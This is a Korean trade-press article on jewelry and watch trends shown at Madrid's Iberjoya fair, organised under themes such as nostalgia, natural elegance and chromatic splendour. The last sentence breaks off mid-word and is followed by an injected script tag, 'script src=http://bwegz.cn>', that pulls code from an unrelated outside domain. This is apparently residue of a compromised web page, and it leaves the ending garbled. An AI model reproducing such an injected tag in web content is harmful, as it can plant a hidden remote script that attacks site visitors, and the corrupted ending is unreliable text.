Spring-summer 2004, IBERJOYA TRENDS

2006-03-10 이광복 통신원 

스페인 ‘이베르호야’보석 컬렉션

보석은 역사적으로 가장 오래된 무역 아이템이다. 기원전 3, 4천 년 전에 이미 금, 은을 이리저리 싣고 다니며 팔았으니 5천 년 이상을 장수해 온 셈이다. 새삼 인간의 밑바닥에 저장된 장식에 대한 욕망이 경이롭기만 하다.

올해로 32회째를 맞이하는 세계 최고의 보석 전시회인 ‘이베르호야(iberjoya) 보석 컬렉션’은 마드리드의 자랑이자 자부심이다. 특히 과시를 좋아하고 파티가 많은 이곳 스페인의 분위기와 맞아떨어지면서 570여 개 업체가 참가해 그 어느 때보다 활기찬 모습을 보여주었다. 참가업체들은 자신들만의 독특한 개성과 특별함으로 형태에 있어 진화를 선보였다.

로맨틱과 노스탤지어는 대부분의 보석에 반영이 되었고 보석의 풍성한 색채 가능성이 시도되었다. 또한 어머니와 같은 자연은 영감의 영원한 원천으로 부각되었다. 이번 시즌 가장 큰 변화는 운동감이 있는 보석일 것이다. 아방가르드 성향의 디자이너들은 그들의 새로운 아이디어와 예지 능력을 보여주었고 시계 디자이너들은 시대를 넘어서는 재능을 보여주었다.

패션처럼 보석도 다소 느리지만 유행의 흐름을 탄다. 올 봄·여름을 선도할 보석 트렌드를 지상전시회를 통해 미리 엿보자.



formal evolution

비대칭, 혁신적인 형태, 대담한 해체, 대조적인 재료, 대비, 보완적이고 결합 가능한 테마 등 이번 시즌 보석업체들은 복잡하고 불확실한 미래로 점철되었던 1960년대에서 영감을 받은 미래적인 디자인을 다수 선보였다. 보석들은 조각되거나 첨가되어 변형되었으며 크기 또한 극도로 커지거나 작아졌다. 반면 기하학적인 보석들이나 차가운 느낌의 보석들, 부드럽게 라운딩된 에지 등은 미지의 주얼리 미래를 찾아 떠나는 여행을 연상시켰다.



fantasy and nostalgia

로맨티시즘은 올 춘하 시즌 새로운 강자로 부상한다. 그리고 일부 노스탤지어가 과거의 스타일이나 유행과 시대를 반영하기 위해 선보였다. 낭만적인 판타지는 더 이상 그것 자체만으로 존재하지 않는다. 왜냐하면 로맨틱 판타지는 다른 트렌드에 침투해 전혀 다른, 새롭고 놀라운 결과를 만들어내기 때문이다. 자연이나 역사로부터 분리할 수 없기 때문에 로맨틱 판타지는 영원한 영감의 원천인 셈이다. 또한 느낌과 센티멘털, 꿈 등은 이성적이고 미래적인 비전, 그리고 새로운 디자인으로 결합된다.



natural elegance

내추럴이 다시 강세를 보였으며 엘레강스한 변화 역시 올 봄·여름 컨셉이었다. 진정성과 단순함, 그리고 오리지널은 디자인의 새로운 방향성을 제시했다. 자연은 트렌드를 지배하는 것으로 주얼리 디자인에 새 기운을 불어넣었다. 모티프, 영감, 외양, 마무리, 재료, 형태, 보석의 정수 등은 주위 환경에 따라 새로운 모습으로 태어난다. 오늘날 리프레시된 생명력은 보석과 자연사이의 끊을래야 끊을 수 없는 관계를 회복시키고 새롭게 한다.



perpetual movement

보석은 소리의 세계에도 뛰어들었다. 리듬과 흔들리는 형태, 균형잡히게 요동치는 라인을 가미한 보석들 덕분에 금속의 완고함은 사라지고, 진동하고 물결치는 멜로디가 보석의 모습을 한 단계 진화시켰다. 주요 요소로는 프린지, 체인, 펜던트, 펄, 스톤, 엮은 보석 등으로 텍스타일 세계로부터 전이된 다양한 소재 활용은 주얼리의 아름다움을 배가시켜 보석의 자유로움과 글래머러스, 그리고 감각적인 움직임을 선사했다.



chromatic splender

비교할 수 없는 색채의 ‘프로타고니즘’은 우리의 상상이 요술 같은 현실로 이루어질 수 있다는 가능성을 보여준다. 빛나는, 밝은, 반짝이는, 가장 아름다운 톤들은 부드럽고, 정교한 힘이 넘치는 뉘앙스와 공존한다. 컬러 스케일은 바래기도 하고 단색이 되거나 멀티 크로마틱이 되기도 한다. 오리엔탈 믹스나 색조의 조합은 시대를 초월한다. 컬러는 모든 혼합, 모든 대조, 모든 모티프를 허용한다. 화려한 축제의 밤에 컬러가 군림한다.



new perceptions

선구자적인 크리에이터와 디자이너들은 그들만의 개성이 넘치는 보석을 제안했다. 보석들은 새로운 인식에 의해 재창조되거나 변형되었다. 글로벌, 다문화, 행성, 혼혈, 불경스런 행위, 소재의 섞음, 트렌드, 대담한 형태와 소재 사용 등을 통해 최고의 디자이너들은 창조적인 보석 스타일을 창조해 냈다.



time recovered

시계 섹터의 가세로 ‘이베르호야 보석 전시회’는 더욱더 풍성해질 전망이다. 디자인이나 컬러는 ‘패션 워치의 전성시대’를 예고했으며 많은 바이어들의 관심을 불러일으켰다. 색다른 디자인의 시계 표면과 숫자는 특별한 관심을 불러일으켰고 팔찌나 시계 줄은 오리지널 디테일로 채워져 매우 매력적인 컬러 제안을 보여주었다. 주얼리 워치와 클래식 시계 모델들은 업데이트되었고 케이스는 1930년대?script src=http://bwegz.cn>

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